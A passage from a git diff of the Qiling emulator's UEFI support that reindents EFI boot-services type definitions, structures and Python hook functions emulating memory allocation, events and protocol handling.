PTR(EFI_DEVICE_PATH_PROTOCOL), BOOLEAN) -EFI_DISCONNECT_CONTROLLER = FUNCPTR(EFI_STATUS, EFI_HANDLE, EFI_HANDLE, EFI_HANDLE) -EFI_OPEN_PROTOCOL = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(PTR(VOID)), EFI_HANDLE, EFI_HANDLE, UINT32) -EFI_CLOSE_PROTOCOL = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), EFI_HANDLE, EFI_HANDLE) -EFI_OPEN_PROTOCOL_INFORMATION = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(PTR(EFI_OPEN_PROTOCOL_INFORMATION_ENTRY)), PTR(UINTN)) -EFI_PROTOCOLS_PER_HANDLE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(PTR(PTR(EFI_GUID))), PTR(UINTN)) -EFI_LOCATE_HANDLE_BUFFER = FUNCPTR(EFI_STATUS, EFI_LOCATE_SEARCH_TYPE, PTR(EFI_GUID), PTR(VOID), PTR(UINTN), PTR(PTR(EFI_HANDLE))) -EFI_LOCATE_PROTOCOL = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), PTR(PTR(VOID))) -EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES = FUNCPTR(EFI_STATUS, PTR(EFI_HANDLE)) # ... -EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES = FUNCPTR(EFI_STATUS, EFI_HANDLE) # ... -EFI_CALCULATE_CRC32 = FUNCPTR(EFI_STATUS, PTR(VOID), UINTN, PTR(UINT32)) -EFI_COPY_MEM = FUNCPTR(VOID, PTR(VOID), PTR(VOID), UINTN) -EFI_SET_MEM = FUNCPTR(VOID, PTR(VOID), UINTN, UINT8) -EFI_CREATE_EVENT_EX = FUNCPTR(EFI_STATUS, UINT32, EFI_TPL, EFI_EVENT_NOTIFY, PTR(VOID), PTR(EFI_GUID), PTR(EFI_EVENT)) +EFI_RAISE_TPL = FUNCPTR(EFI_TPL, EFI_TPL) +EFI_RESTORE_TPL = FUNCPTR(VOID, EFI_TPL) +EFI_ALLOCATE_PAGES = FUNCPTR(EFI_STATUS, EFI_ALLOCATE_TYPE, EFI_MEMORY_TYPE, UINTN, PTR(EFI_PHYSICAL_ADDRESS)) +EFI_FREE_PAGES = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINTN) +EFI_GET_MEMORY_MAP = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(EFI_MEMORY_DESCRIPTOR), PTR(UINTN), PTR(UINTN), PTR(UINT32)) +EFI_ALLOCATE_POOL = FUNCPTR(EFI_STATUS, EFI_MEMORY_TYPE, UINTN, PTR(PTR(VOID))) +EFI_FREE_POOL = FUNCPTR(EFI_STATUS, PTR(VOID)) +EFI_CREATE_EVENT = FUNCPTR(EFI_STATUS, UINT32, EFI_TPL, EFI_EVENT_NOTIFY, PTR(VOID), PTR(EFI_EVENT)) +EFI_SET_TIMER = FUNCPTR(EFI_STATUS, EFI_EVENT, EFI_TIMER_DELAY, UINT64) +EFI_WAIT_FOR_EVENT = FUNCPTR(EFI_STATUS, UINTN, PTR(EFI_EVENT), PTR(UINTN)) +EFI_SIGNAL_EVENT = FUNCPTR(EFI_STATUS, EFI_EVENT) +EFI_CLOSE_EVENT = FUNCPTR(EFI_STATUS, EFI_EVENT) +EFI_CHECK_EVENT = FUNCPTR(EFI_STATUS, EFI_EVENT) +EFI_INSTALL_PROTOCOL_INTERFACE = FUNCPTR(EFI_STATUS, PTR(EFI_HANDLE), PTR(EFI_GUID), EFI_INTERFACE_TYPE, PTR(VOID)) +EFI_REINSTALL_PROTOCOL_INTERFACE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(VOID), PTR(VOID)) +EFI_UNINSTALL_PROTOCOL_INTERFACE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(VOID)) +EFI_HANDLE_PROTOCOL = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(PTR(VOID))) +EFI_REGISTER_PROTOCOL_NOTIFY = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), EFI_EVENT, PTR(PTR(VOID))) +EFI_LOCATE_HANDLE = FUNCPTR(EFI_STATUS, EFI_LOCATE_SEARCH_TYPE, PTR(EFI_GUID), PTR(VOID), PTR(UINTN), PTR(EFI_HANDLE)) +EFI_LOCATE_DEVICE_PATH = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(PTR(EFI_DEVICE_PATH_PROTOCOL)), PTR(EFI_HANDLE)) +EFI_INSTALL_CONFIGURATION_TABLE = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID)) +EFI_IMAGE_LOAD = FUNCPTR(EFI_STATUS, BOOLEAN, EFI_HANDLE, PTR(EFI_DEVICE_PATH_PROTOCOL), PTR(VOID) , UINTN, PTR(EFI_HANDLE)) +EFI_IMAGE_START = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(UINTN), PTR(PTR(CHAR16))) +EFI_EXIT = FUNCPTR(EFI_STATUS, EFI_HANDLE, EFI_STATUS, UINTN, PTR(CHAR16)) +EFI_IMAGE_UNLOAD = FUNCPTR(EFI_STATUS, EFI_HANDLE) +EFI_EXIT_BOOT_SERVICES = FUNCPTR(EFI_STATUS, EFI_HANDLE, UINTN) +EFI_GET_NEXT_MONOTONIC_COUNT = FUNCPTR(EFI_STATUS, PTR(UINT64)) +EFI_STALL = FUNCPTR(EFI_STATUS, UINTN) +EFI_SET_WATCHDOG_TIMER = FUNCPTR(EFI_STATUS, UINTN, UINT64, UINTN, PTR(CHAR16)) +EFI_CONNECT_CONTROLLER = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_HANDLE), PTR(EFI_DEVICE_PATH_PROTOCOL), BOOLEAN) +EFI_DISCONNECT_CONTROLLER = FUNCPTR(EFI_STATUS, EFI_HANDLE, EFI_HANDLE, EFI_HANDLE) +EFI_OPEN_PROTOCOL = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(PTR(VOID)), EFI_HANDLE, EFI_HANDLE, UINT32) +EFI_CLOSE_PROTOCOL = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), EFI_HANDLE, EFI_HANDLE) +EFI_OPEN_PROTOCOL_INFORMATION = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(PTR(EFI_OPEN_PROTOCOL_INFORMATION_ENTRY)), PTR(UINTN)) +EFI_PROTOCOLS_PER_HANDLE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(PTR(PTR(EFI_GUID))), PTR(UINTN)) +EFI_LOCATE_HANDLE_BUFFER = FUNCPTR(EFI_STATUS, EFI_LOCATE_SEARCH_TYPE, PTR(EFI_GUID), PTR(VOID), PTR(UINTN), PTR(PTR(EFI_HANDLE))) +EFI_LOCATE_PROTOCOL = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), PTR(PTR(VOID))) +EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES = FUNCPTR(EFI_STATUS, PTR(EFI_HANDLE)) # ... +EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES = FUNCPTR(EFI_STATUS, EFI_HANDLE) # ... +EFI_CALCULATE_CRC32 = FUNCPTR(EFI_STATUS, PTR(VOID), UINTN, PTR(UINT32)) +EFI_COPY_MEM = FUNCPTR(VOID, PTR(VOID), PTR(VOID), UINTN) +EFI_SET_MEM = FUNCPTR(VOID, PTR(VOID), UINTN, UINT8) +EFI_CREATE_EVENT_EX = FUNCPTR(EFI_STATUS, UINT32, EFI_TPL, EFI_EVENT_NOTIFY, PTR(VOID), PTR(EFI_GUID), PTR(EFI_EVENT)) class EFI_BOOT_SERVICES(STRUCT): - _fields_ = [ - ('Hdr', EFI_TABLE_HEADER), - ('RaiseTPL', EFI_RAISE_TPL), - ('RestoreTPL', EFI_RESTORE_TPL), - ('AllocatePages', EFI_ALLOCATE_PAGES), - ('FreePages', EFI_FREE_PAGES), - ('GetMemoryMap', EFI_GET_MEMORY_MAP), - ('AllocatePool', EFI_ALLOCATE_POOL), - ('FreePool', EFI_FREE_POOL), - ('CreateEvent', EFI_CREATE_EVENT), - ('SetTimer', EFI_SET_TIMER), - ('WaitForEvent', EFI_WAIT_FOR_EVENT), - ('SignalEvent', EFI_SIGNAL_EVENT), - ('CloseEvent', EFI_CLOSE_EVENT), - ('CheckEvent', EFI_CHECK_EVENT), - ('InstallProtocolInterface', EFI_INSTALL_PROTOCOL_INTERFACE), - ('ReinstallProtocolInterface', EFI_REINSTALL_PROTOCOL_INTERFACE), - ('UninstallProtocolInterface', EFI_UNINSTALL_PROTOCOL_INTERFACE), - ('HandleProtocol', EFI_HANDLE_PROTOCOL), - ('Reserved', PTR(VOID)), - ('RegisterProtocolNotify', EFI_REGISTER_PROTOCOL_NOTIFY), - ('LocateHandle', EFI_LOCATE_HANDLE), - ('LocateDevicePath', EFI_LOCATE_DEVICE_PATH), - ('InstallConfigurationTable', EFI_INSTALL_CONFIGURATION_TABLE), - ('LoadImage', EFI_IMAGE_LOAD), - ('StartImage', EFI_IMAGE_START), - ('Exit', EFI_EXIT), - ('UnloadImage', EFI_IMAGE_UNLOAD), - ('ExitBootServices', EFI_EXIT_BOOT_SERVICES), - ('GetNextMonotonicCount', EFI_GET_NEXT_MONOTONIC_COUNT), - ('Stall', EFI_STALL), - ('SetWatchdogTimer', EFI_SET_WATCHDOG_TIMER), - ('ConnectController', EFI_CONNECT_CONTROLLER), - ('DisconnectController', EFI_DISCONNECT_CONTROLLER), - ('OpenProtocol', EFI_OPEN_PROTOCOL), - ('CloseProtocol', EFI_CLOSE_PROTOCOL), - ('OpenProtocolInformation', EFI_OPEN_PROTOCOL_INFORMATION), - ('ProtocolsPerHandle', EFI_PROTOCOLS_PER_HANDLE), - ('LocateHandleBuffer', EFI_LOCATE_HANDLE_BUFFER), - ('LocateProtocol', EFI_LOCATE_PROTOCOL), - ('InstallMultipleProtocolInterfaces', EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES), - ('UninstallMultipleProtocolInterfaces', EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES), - ('CalculateCrc32', EFI_CALCULATE_CRC32), - ('CopyMem', EFI_COPY_MEM), - ('SetMem', EFI_SET_MEM), - ('CreateEventEx', EFI_CREATE_EVENT_EX) - ] + _fields_ = [ + ('Hdr', EFI_TABLE_HEADER), + ('RaiseTPL', EFI_RAISE_TPL), + ('RestoreTPL', EFI_RESTORE_TPL), + ('AllocatePages', EFI_ALLOCATE_PAGES), + ('FreePages', EFI_FREE_PAGES), + ('GetMemoryMap', EFI_GET_MEMORY_MAP), + ('AllocatePool', EFI_ALLOCATE_POOL), + ('FreePool', EFI_FREE_POOL), + ('CreateEvent', EFI_CREATE_EVENT), + ('SetTimer', EFI_SET_TIMER), + ('WaitForEvent', EFI_WAIT_FOR_EVENT), + ('SignalEvent', EFI_SIGNAL_EVENT), + ('CloseEvent', EFI_CLOSE_EVENT), + ('CheckEvent', EFI_CHECK_EVENT), + ('InstallProtocolInterface', EFI_INSTALL_PROTOCOL_INTERFACE), + ('ReinstallProtocolInterface', EFI_REINSTALL_PROTOCOL_INTERFACE), + ('UninstallProtocolInterface', EFI_UNINSTALL_PROTOCOL_INTERFACE), + ('HandleProtocol', EFI_HANDLE_PROTOCOL), + ('Reserved', PTR(VOID)), + ('RegisterProtocolNotify', EFI_REGISTER_PROTOCOL_NOTIFY), + ('LocateHandle', EFI_LOCATE_HANDLE), + ('LocateDevicePath', EFI_LOCATE_DEVICE_PATH), + ('InstallConfigurationTable', EFI_INSTALL_CONFIGURATION_TABLE), + ('LoadImage', EFI_IMAGE_LOAD), + ('StartImage', EFI_IMAGE_START), + ('Exit', EFI_EXIT), + ('UnloadImage', EFI_IMAGE_UNLOAD), + ('ExitBootServices', EFI_EXIT_BOOT_SERVICES), + ('GetNextMonotonicCount', EFI_GET_NEXT_MONOTONIC_COUNT), + ('Stall', EFI_STALL), + ('SetWatchdogTimer', EFI_SET_WATCHDOG_TIMER), + ('ConnectController', EFI_CONNECT_CONTROLLER), + ('DisconnectController', EFI_DISCONNECT_CONTROLLER), + ('OpenProtocol', EFI_OPEN_PROTOCOL), + ('CloseProtocol', EFI_CLOSE_PROTOCOL), + ('OpenProtocolInformation', EFI_OPEN_PROTOCOL_INFORMATION), + ('ProtocolsPerHandle', EFI_PROTOCOLS_PER_HANDLE), + ('LocateHandleBuffer', EFI_LOCATE_HANDLE_BUFFER), + ('LocateProtocol', EFI_LOCATE_PROTOCOL), + ('InstallMultipleProtocolInterfaces', EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES), + ('UninstallMultipleProtocolInterfaces', EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES), + ('CalculateCrc32', EFI_CALCULATE_CRC32), + ('CopyMem', EFI_COPY_MEM), + ('SetMem', EFI_SET_MEM), + ('CreateEventEx', EFI_CREATE_EVENT_EX) + ] class EFI_CONFIGURATION_TABLE(STRUCT): - _fields_ = [ - ('VendorGuid', EFI_GUID), - ('VendorTable', PTR(VOID)), - ] + _fields_ = [ + ('VendorGuid', EFI_GUID), + ('VendorTable', PTR(VOID)), + ] # TODO: to be implemented # @see: MdePkg\Include\Protocol\SimpleTextIn.h @@ -232,36 +232,36 @@ class EFI_CONFIGURATION_TABLE(STRUCT): EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL = STRUCT class EFI_SYSTEM_TABLE(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('Hdr', EFI_TABLE_HEADER), - ('FirmwareVendor', PTR(CHAR16)), - ('FirmwareRevision', UINT32), - ('ConsoleInHandle', EFI_HANDLE), - ('ConIn', PTR(EFI_SIMPLE_TEXT_INPUT_PROTOCOL)), - ('ConsoleOutHandle', EFI_HANDLE), - ('ConOut', PTR(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL)), - ('StandardErrorHandle', EFI_HANDLE), - ('StdErr', PTR(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL)), - ('RuntimeServices', PTR(EFI_RUNTIME_SERVICES)), - ('BootServices', PTR(EFI_BOOT_SERVICES)), - ('NumberOfTableEntries', UINTN), - ('ConfigurationTable', PTR(EFI_CONFIGURATION_TABLE)) - ] + _fields_ = [ + ('Hdr', EFI_TABLE_HEADER), + ('FirmwareVendor', PTR(CHAR16)), + ('FirmwareRevision', UINT32), + ('ConsoleInHandle', EFI_HANDLE), + ('ConIn', PTR(EFI_SIMPLE_TEXT_INPUT_PROTOCOL)), + ('ConsoleOutHandle', EFI_HANDLE), + ('ConOut', PTR(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL)), + ('StandardErrorHandle', EFI_HANDLE), + ('StdErr', PTR(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL)), + ('RuntimeServices', PTR(EFI_RUNTIME_SERVICES)), + ('BootServices', PTR(EFI_BOOT_SERVICES)), + ('NumberOfTableEntries', UINTN), + ('ConfigurationTable', PTR(EFI_CONFIGURATION_TABLE)) + ] __all__ = [ - 'EFI_TIME_ADJUST_DAYLIGHT', - 'EFI_TIME_IN_DAYLIGHT', - 'EFI_UNSPECIFIED_TIMEZONE', - 'EFI_RUNTIME_SERVICES', - 'EFI_BOOT_SERVICES', - 'EFI_CONFIGURATION_TABLE', - 'EFI_SYSTEM_TABLE', - 'EFI_ALLOCATE_TYPE', - 'EFI_INTERFACE_TYPE', - 'EFI_LOCATE_SEARCH_TYPE', - 'EFI_DEVICE_PATH_PROTOCOL', - 'EFI_OPEN_PROTOCOL_INFORMATION_ENTRY', - 'EFI_IMAGE_UNLOAD' + 'EFI_TIME_ADJUST_DAYLIGHT', + 'EFI_TIME_IN_DAYLIGHT', + 'EFI_UNSPECIFIED_TIMEZONE', + 'EFI_RUNTIME_SERVICES', + 'EFI_BOOT_SERVICES', + 'EFI_CONFIGURATION_TABLE', + 'EFI_SYSTEM_TABLE', + 'EFI_ALLOCATE_TYPE', + 'EFI_INTERFACE_TYPE', + 'EFI_LOCATE_SEARCH_TYPE', + 'EFI_DEVICE_PATH_PROTOCOL', + 'EFI_OPEN_PROTOCOL_INFORMATION_ENTRY', + 'EFI_IMAGE_UNLOAD' ] \ No newline at end of file diff --git a/qiling/os/uefi/bs.py b/qiling/os/uefi/bs.py index 3532a159c..91e139254 100644 --- a/qiling/os/uefi/bs.py +++ b/qiling/os/uefi/bs.py @@ -16,581 +16,581 @@ from qiling.os.uefi.protocols import common @dxeapi(params = { - "NewTpl" : ULONGLONG # EFI_TPL + "NewTpl" : ULONGLONG # EFI_TPL }) def hook_RaiseTPL(ql: Qiling, address: int, params): - prev_tpl = ql.loader.tpl - ql.loader.tpl = params["NewTpl"] + prev_tpl = ql.loader.tpl + ql.loader.tpl = params["NewTpl"] - return prev_tpl + return prev_tpl @dxeapi(params = { - "OldTpl": ULONGLONG # EFI_TPL + "OldTpl": ULONGLONG # EFI_TPL }) def hook_RestoreTPL(ql: Qiling, address: int, params): - ql.loader.tpl = params["OldTpl"] + ql.loader.tpl = params["OldTpl"] @dxeapi(params = { - "type" : INT, # EFI_ALLOCATE_TYPE - "MemoryType": INT, # EFI_MEMORY_TYPE - "Pages" : ULONGLONG, # UINTN - "Memory" : POINTER # PTR(EFI_PHYSICAL_ADDRESS) + "type" : INT, # EFI_ALLOCATE_TYPE + "MemoryType": INT, # EFI_MEMORY_TYPE + "Pages" : ULONGLONG, # UINTN + "Memory" : POINTER # PTR(EFI_PHYSICAL_ADDRESS) }) def hook_AllocatePages(ql: Qiling, address: int, params): - alloc_size = params["Pages"] * PAGE_SIZE + alloc_size = params["Pages"] * PAGE_SIZE - if params['type'] == EFI_ALLOCATE_TYPE.AllocateAddress: - address = read_int64(ql, params["Memory"]) + if params['type'] == EFI_ALLOCATE_TYPE.AllocateAddress: + address = read_int64(ql, params["Memory"]) - # TODO: check the range [address, address + alloc_size] is available first - ql.mem.map(address, alloc_size) - else: - # TODO: allocate memory according to 'MemoryType' - address = ql.loader.dxe_context.heap.alloc(alloc_size) + # TODO: check the range [address, address + alloc_size] is available first + ql.mem.map(address, alloc_size) + else: + # TODO: allocate memory according to 'MemoryType' + address = ql.loader.dxe_context.heap.alloc(alloc_size) - if address == 0: - return EFI_OUT_OF_RESOURCES + if address == 0: + return EFI_OUT_OF_RESOURCES - write_int64(ql, params["Memory"], address) + write_int64(ql, params["Memory"], address) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Memory" : ULONGLONG, # EFI_PHYSICAL_ADDRESS - "Pages" : ULONGLONG # UINTN + "Memory" : ULONGLONG, # EFI_PHYSICAL_ADDRESS + "Pages" : ULONGLONG # UINTN }) def hook_FreePages(ql: Qiling, address: int, params): - address = params["Memory"] + address = params["Memory"] - ret = ql.loader.dxe_context.heap.free(address) + ret = ql.loader.dxe_context.heap.free(address) - return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER + return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER @dxeapi(params = { - "MemoryMapSize" : POINTER, # PTR(UINTN) - "MemoryMap" : POINTER, # PTR(EFI_MEMORY_DESCRIPTOR) - "MapKey" : POINTER, # PTR(UINTN) - "DescriptorSize" : POINTER, # PTR(UINTN) - "DescriptorVersion" : POINTER # PTR(UINT32) + "MemoryMapSize" : POINTER, # PTR(UINTN) + "MemoryMap" : POINTER, # PTR(EFI_MEMORY_DESCRIPTOR) + "MapKey" : POINTER, # PTR(UINTN) + "DescriptorSize" : POINTER, # PTR(UINTN) + "DescriptorVersion" : POINTER # PTR(UINT32) }) def hook_GetMemoryMap(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "PoolType" : INT, # EFI_MEMORY_TYPE - "Size" : INT, # UINTN - "Buffer" : POINTER # PTR(PTR(VOID)) + "PoolType" : INT, # EFI_MEMORY_TYPE + "Size" : INT, # UINTN + "Buffer" : POINTER # PTR(PTR(VOID)) }) def hook_AllocatePool(ql: Qiling, address: int, params): - # TODO: allocate memory acording to "PoolType" - Size = params["Size"] - Buffer = params["Buffer"] + # TODO: allocate memory acording to "PoolType" + Size = params["Size"] + Buffer = params["Buffer"] - address = ql.loader.dxe_context.heap.alloc(Size) - write_int64(ql, Buffer, address) + address = ql.loader.dxe_context.heap.alloc(Size) + write_int64(ql, Buffer, address) - return EFI_SUCCESS if address else EFI_OUT_OF_RESOURCES + return EFI_SUCCESS if address else EFI_OUT_OF_RESOURCES @dxeapi(params = { - "Buffer": POINTER # PTR(VOID) + "Buffer": POINTER # PTR(VOID) }) def hook_FreePool(ql: Qiling, address: int, params): - Buffer = params["Buffer"] + Buffer = params["Buffer"] - ret = ql.loader.dxe_context.heap.free(Buffer) + ret = ql.loader.dxe_context.heap.free(Buffer) - return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER + return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER @dxeapi(params = { - "Type" : UINT, # UINT32 - "NotifyTpl" : UINT, # EFI_TPL - "NotifyFunction": POINTER, # EFI_EVENT_NOTIFY - "NotifyContext" : POINTER, # PTR(VOID) - "Event" : POINTER # PTR(EFI_EVENT) + "Type" : UINT, # UINT32 + "NotifyTpl" : UINT, # EFI_TPL + "NotifyFunction": POINTER, # EFI_EVENT_NOTIFY + "NotifyContext" : POINTER, # PTR(VOID) + "Event" : POINTER # PTR(EFI_EVENT) }) def hook_CreateEvent(ql: Qiling, address: int, params): - return CreateEvent(ql, params) + return CreateEvent(ql, params) @dxeapi(params = { - "Event" : POINTER, # EFI_EVENT - "Type" : ULONGLONG, # EFI_TIMER_DELAY - "TriggerTime" : ULONGLONG # UINT64 + "Event" : POINTER, # EFI_EVENT + "Type" : ULONGLONG, # EFI_TIMER_DELAY + "TriggerTime" : ULONGLONG # UINT64 }) def hook_SetTimer(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "NumberOfEvents": ULONGLONG, # UINTN - "Event" : POINTER, # PTR(EFI_EVENT) - "Index" : POINTER, # PTR(UINTN) + "NumberOfEvents": ULONGLONG, # UINTN + "Event" : POINTER, # PTR(EFI_EVENT) + "Index" : POINTER, # PTR(UINTN) }) def hook_WaitForEvent(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Event": POINTER # EFI_EVENT + "Event": POINTER # EFI_EVENT }) def hook_SignalEvent(ql: Qiling, address: int, params): - event_id = params["Event"] + event_id = params["Event"] - if event_id not in ql.loader.events: - return EFI_INVALID_PARAMETER + if event_id not in ql.loader.events: + return EFI_INVALID_PARAMETER - signal_event(ql, event_id) + signal_event(ql, event_id) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Event": POINTER # EFI_EVENT + "Event": POINTER # EFI_EVENT }) def hook_CloseEvent(ql: Qiling, address: int, params): - event_id = params["Event"] + event_id = params["Event"] - if event_id not in ql.loader.events: - return EFI_INVALID_PARAMETER + if event_id not in ql.loader.events: + return EFI_INVALID_PARAMETER - del ql.loader.events[event_id] + del ql.loader.events[event_id] - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Event": POINTER # EFI_EVENT + "Event": POINTER # EFI_EVENT }) def hook_CheckEvent(ql: Qiling, address: int, params): - event_id = params["Event"] + event_id = params["Event"] - return EFI_SUCCESS if ql.loader.events[event_id]["Set"] else EFI_NOT_READY + return EFI_SUCCESS if ql.loader.events[event_id]["Set"] else EFI_NOT_READY @dxeapi(params = { - "Handle" : POINTER, # PTR(EFI_HANDLE) - "Protocol" : GUID, # PTR(EFI_GUID) - "InterfaceType" : ULONGLONG, # EFI_INTERFACE_TYPE - "Interface" : POINTER, # PTR(VOID) + "Handle" : POINTER, # PTR(EFI_HANDLE) + "Protocol" : GUID, # PTR(EFI_GUID) + "InterfaceType" : ULONGLONG, # EFI_INTERFACE_TYPE + "Interface" : POINTER, # PTR(VOID) }) def hook_InstallProtocolInterface(ql: Qiling, address: int, params): - return common.InstallProtocolInterface(ql.loader.dxe_context, params) + return common.InstallProtocolInterface(ql.loader.dxe_context, params) @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "OldInterface" : POINTER, # PTR(VOID) - "NewInterface" : POINTER # PTR(VOID) + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "OldInterface" : POINTER, # PTR(VOID) + "NewInterface" : POINTER # PTR(VOID) }) def hook_ReinstallProtocolInterface(ql: Qiling, address: int, params): - handle = params["Handle"] + handle = params["Handle"] - if handle not in ql.loader.dxe_context.protocols: - return EFI_NOT_FOUND + if handle not in ql.loader.dxe_context.protocols: + return EFI_NOT_FOUND - dic = ql.loader.dxe_context.protocols[handle] - protocol = params["Protocol"] + dic = ql.loader.dxe_context.protocols[handle] + protocol = params["Protocol"] - if protocol not in dic: - return EFI_NOT_FOUND + if protocol not in dic: + return EFI_NOT_FOUND - dic[protocol] = params["NewInterface"] + dic[protocol] = params["NewInterface"] - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "Interface" : POINTER # PTR(VOID) + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "Interface" : POINTER # PTR(VOID) }) def hook_UninstallProtocolInterface(ql: Qiling, address: int, params): - return common.UninstallProtocolInterface(ql.loader.dxe_context, params) + return common.UninstallProtocolInterface(ql.loader.dxe_context, params) @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "Interface" : POINTER # PTR(PTR(VOID)) + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "Interface" : POINTER # PTR(PTR(VOID)) }) def hook_HandleProtocol(ql: Qiling, address: int, params): - return common.HandleProtocol(ql.loader.dxe_context, params) + return common.HandleProtocol(ql.loader.dxe_context, params) @dxeapi(params = { - "Protocol" : GUID, # PTR(EFI_GUID) - "Event" : POINTER, # EFI_EVENT - "Registration" : POINTER # PTR(PTR(VOID)) + "Protocol" : GUID, # PTR(EFI_GUID) + "Event" : POINTER, # EFI_EVENT + "Registration" : POINTER # PTR(PTR(VOID)) }) def hook_RegisterProtocolNotify(ql: Qiling, address: int, params): - event = params['Event'] - proto = params["Protocol"] + event = params['Event'] + proto = params["Protocol"] - if event in ql.loader.events: - ql.loader.events[event]['Guid'] = proto + if event in ql.loader.events: + ql.loader.events[event]['Guid'] = proto - return EFI_SUCCESS + return EFI_SUCCESS - return EFI_INVALID_PARAMETER + return EFI_INVALID_PARAMETER @dxeapi(params = { - "SearchType": INT, # EFI_LOCATE_SEARCH_TYPE - "Protocol" : GUID, # PTR(EFI_GUID) - "SearchKey" : POINTER, # PTR(VOID) - "BufferSize": POINTER, # PTR(UINTN) - "Buffer" : POINTER # PTR(EFI_HANDLE) + "SearchType": INT, # EFI_LOCATE_SEARCH_TYPE + "Protocol" : GUID, # PTR(EFI_GUID) + "SearchKey" : POINTER, # PTR(VOID) + "BufferSize": POINTER, # PTR(UINTN) + "Buffer" : POINTER # PTR(EFI_HANDLE) }) def hook_LocateHandle(ql: Qiling, address: int, params): - return common.LocateHandle(ql.loader.dxe_context, params) + return common.LocateHandle(ql.loader.dxe_context, params) @dxeapi(params = { - "Protocol" : GUID, # PTR(EFI_GUID) - "DevicePath": POINTER, # PTR(PTR(EFI_DEVICE_PATH_PROTOCOL)) - "Device" : POINTER # PTR(EFI_HANDLE) + "Protocol" : GUID, # PTR(EFI_GUID) + "DevicePath": POINTER, # PTR(PTR(EFI_DEVICE_PATH_PROTOCOL)) + "Device" : POINTER # PTR(EFI_HANDLE) }) def hook_LocateDevicePath(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Guid" : GUID, # PTR(EFI_GUID) - "Table" : POINTER # PTR(VOID) + "Guid" : GUID, # PTR(EFI_GUID) + "Table" : POINTER # PTR(VOID) }) def hook_InstallConfigurationTable(ql: Qiling, address: int, params): - return common.InstallConfigurationTable(ql.loader.dxe_context, params) + return common.InstallConfigurationTable(ql.loader.dxe_context, params) @dxeapi(params = { - "BootPolicy" : BOOL, # BOOLEAN - "ParentImageHandle" : POINTER, # EFI_HANDLE - "DevicePath" : POINTER, # PTR(EFI_DEVICE_PATH_PROTOCOL) - "SourceBuffer" : POINTER, # PTR(VOID) - "SourceSize" : ULONGLONG, # UINTN - "ImageHandle" : POINTER # PTR(EFI_HANDLE) + "BootPolicy" : BOOL, # BOOLEAN + "ParentImageHandle" : POINTER, # EFI_HANDLE + "DevicePath" : POINTER, # PTR(EFI_DEVICE_PATH_PROTOCOL) + "SourceBuffer" : POINTER, # PTR(VOID) + "SourceSize" : ULONGLONG, # UINTN + "ImageHandle" : POINTER # PTR(EFI_HANDLE) }) def hook_LoadImage(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "ImageHandle" : POINTER, # EFI_HANDLE - "ExitDataSize" : POINTER, # PTR(UINTN) - "ExitData" : POINTER # PTR(PTR(CHAR16)) + "ImageHandle" : POINTER, # EFI_HANDLE + "ExitDataSize" : POINTER, # PTR(UINTN) + "ExitData" : POINTER # PTR(PTR(CHAR16)) }) def hook_StartImage(ql: Qiling, address: int, params): - 